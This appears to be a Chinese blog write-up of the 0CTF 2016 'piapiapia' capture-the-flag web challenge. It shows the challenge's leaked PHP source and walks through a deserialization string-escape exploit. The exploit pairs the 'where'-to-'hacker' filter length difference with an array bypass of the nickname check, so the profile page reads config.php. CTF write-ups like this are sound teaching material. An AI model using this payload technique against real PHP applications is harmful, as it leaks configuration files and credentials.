[0CTF 2016]piapiapia

 

 

知识点

  • 反序列化字符串逃逸

扫描目录,有源码泄露,www.zip

config.php

<?php
    $config['hostname'] = '127.0.0.1';
    $config['username'] = 'root';
    $config['password'] = '';
    $config['database'] = '';
    $flag = '';
?>

 

看到有flag,看来flag应该是在config.php中
update.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');    
    }
    if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

        $username = $_SESSION['username'];
        if(!preg_match('/^\d{11}$/', $_POST['phone']))
            die('Invalid phone');

        if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
            die('Invalid email');
        
        if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
            die('Invalid nickname');

        $file = $_FILES['photo'];
        if($file['size'] < 5 or $file['size'] > 1000000)
            die('Photo size error');

        move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
        $profile['phone'] = $_POST['phone'];
        $profile['email'] = $_POST['email'];
        $profile['nickname'] = $_POST['nickname'];
        $profile['photo'] = 'upload/' . md5($file['name']);

        $user->update_profile($username, serialize($profile));
        echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
    }

 

这里看到nickname的过滤和其他两个的过滤不太一样,可以使用数组绕过
对上传进来的$profile进行了序列化,还使用了一个update_profile()函数
找到这个update_profile()函数

class.php一部分

public function update_profile($username, $new_profile) {
        $username = parent::filter($username);
        $new_profile = parent::filter($new_profile);

        $where = "username = '$username'";
        return parent::update($this->table, 'profile', $new_profile, $where);
    }

 

可以看到,对传入的$profile使用了filter()函数,跟进filter()函数

public function filter($string) {
        $escape = array('\'', '\\\\');
        $escape = '/' . implode('|', $escape) . '/';
        $string = preg_replace($escape, '_', $string);

        $safe = array('select', 'insert', 'update', 'delete', 'where');
        $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe, 'hacker', $string);
    }

 

可以看到,将$string字符串中的敏感字符串替换成hacker,但是where有5位,hacker有6位,这有可能造成问题

profile.php

<?php
    require_once('class.php');
    if($_SESSION['username'] == null) {
        die('Login First');    
    }
    $username = $_SESSION['username'];
    $profile=$user->show_profile($username);
    if($profile  == null) {
        header('Location: update.php');
    }
    else {
        $profile = unserialize($profile);
        $phone = $profile['phone'];
        $email = $profile['email'];
        $nickname = $profile['nickname'];
        $photo = base64_encode(file_get_contents($profile['photo']));
?>

 

可以看到,在对$profile进行反序列化后,读取了photo文件
先构造一下序列化

<?php
$profile['phone'] = '11111111111';
$profile['email'] = '1@qq.com';
$profile['nickname'] = 'hello';
$profile['photo'] = 'upload/' . md5('12345');
echo serialize($profile);
?>
#a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:8:"1@qq.com";s:8:"nickname";s:5:"hello";s:5:"photo";s:39:"upload/827ccb0eea8a706c4c34a16891f84e7b";}

 

可以尝试将photo的内容替换成config.php,这样就能读取到config.php中的flag了
php反序列化时,会根据相应的数字反序列化后面的字符,比如s:5:"email";,这里是5,那就会往后读取5个字符进行反序列化,多余的字符会被抛弃

前面提到,filter()函数将where替换成hacker,字符串由5个变成了6个,源码中的执行顺序为先序列化,再调用filter,就会变成

<?php
function filter($string) {
    $escape = array('\'', '\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape, '_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
    return preg_replace($safe, 'hacker', $string);
}
$profile['phone'] = '11111111111';
$profile['email'] = '1@qq.com';
$profile['nickname'] = 'where';
$profile['photo'] = 'upload/' . md5('12345');
echo filter(serialize($profile));
?>
#a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:8:"1@qq.com";s:8:"nickname";s:5:"hacker";s:5:"photo";s:39:"upload/827ccb0eea8a706c4c34a16891f84e7b";}

 

这里看到hacker前面的数字是5,后面的hacker长度却为6
结合前面提到的要将photo的内容替换成config.php,构造";}s:5:"photo";s:10:"config.php";},一共34个字符
我们将nickname的内容输入34个where,再加上构造的字符串,就能达到我们的需求
34个where,长度为170,加上34个恶意字符(不在filter函数过滤范围之内),总共有204
34个hacker,长度为204

利用hacker和where的字符数量差,挤出34个字符的空位,再往空位中补上恶意字符,最后多出来的原字符反序列化不到,被自动抛弃
再加上前面提到的用数组绕过nickname的正则过滤,即nickname[]
序列化的结果就是

a:4:{s:5:"phone";s:11:"11111111111";s:5:"email";s:8:"1@qq.com";s:8:"nickname";a:1:{i:0;s:204:"34个hacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/b068931cc450442b63f5b3d276ea4297";}

 

后面多出来的photo反序列化时会被自动抛弃


在这里插入图片描述

 

后面在profile.php页面查看源码,即可看到base64编码过的config.php,转码即可得到flag

 

posted @ 2020-05-06 16:52  山野村夫z1  阅读(359)  评论(0编辑  收藏  举报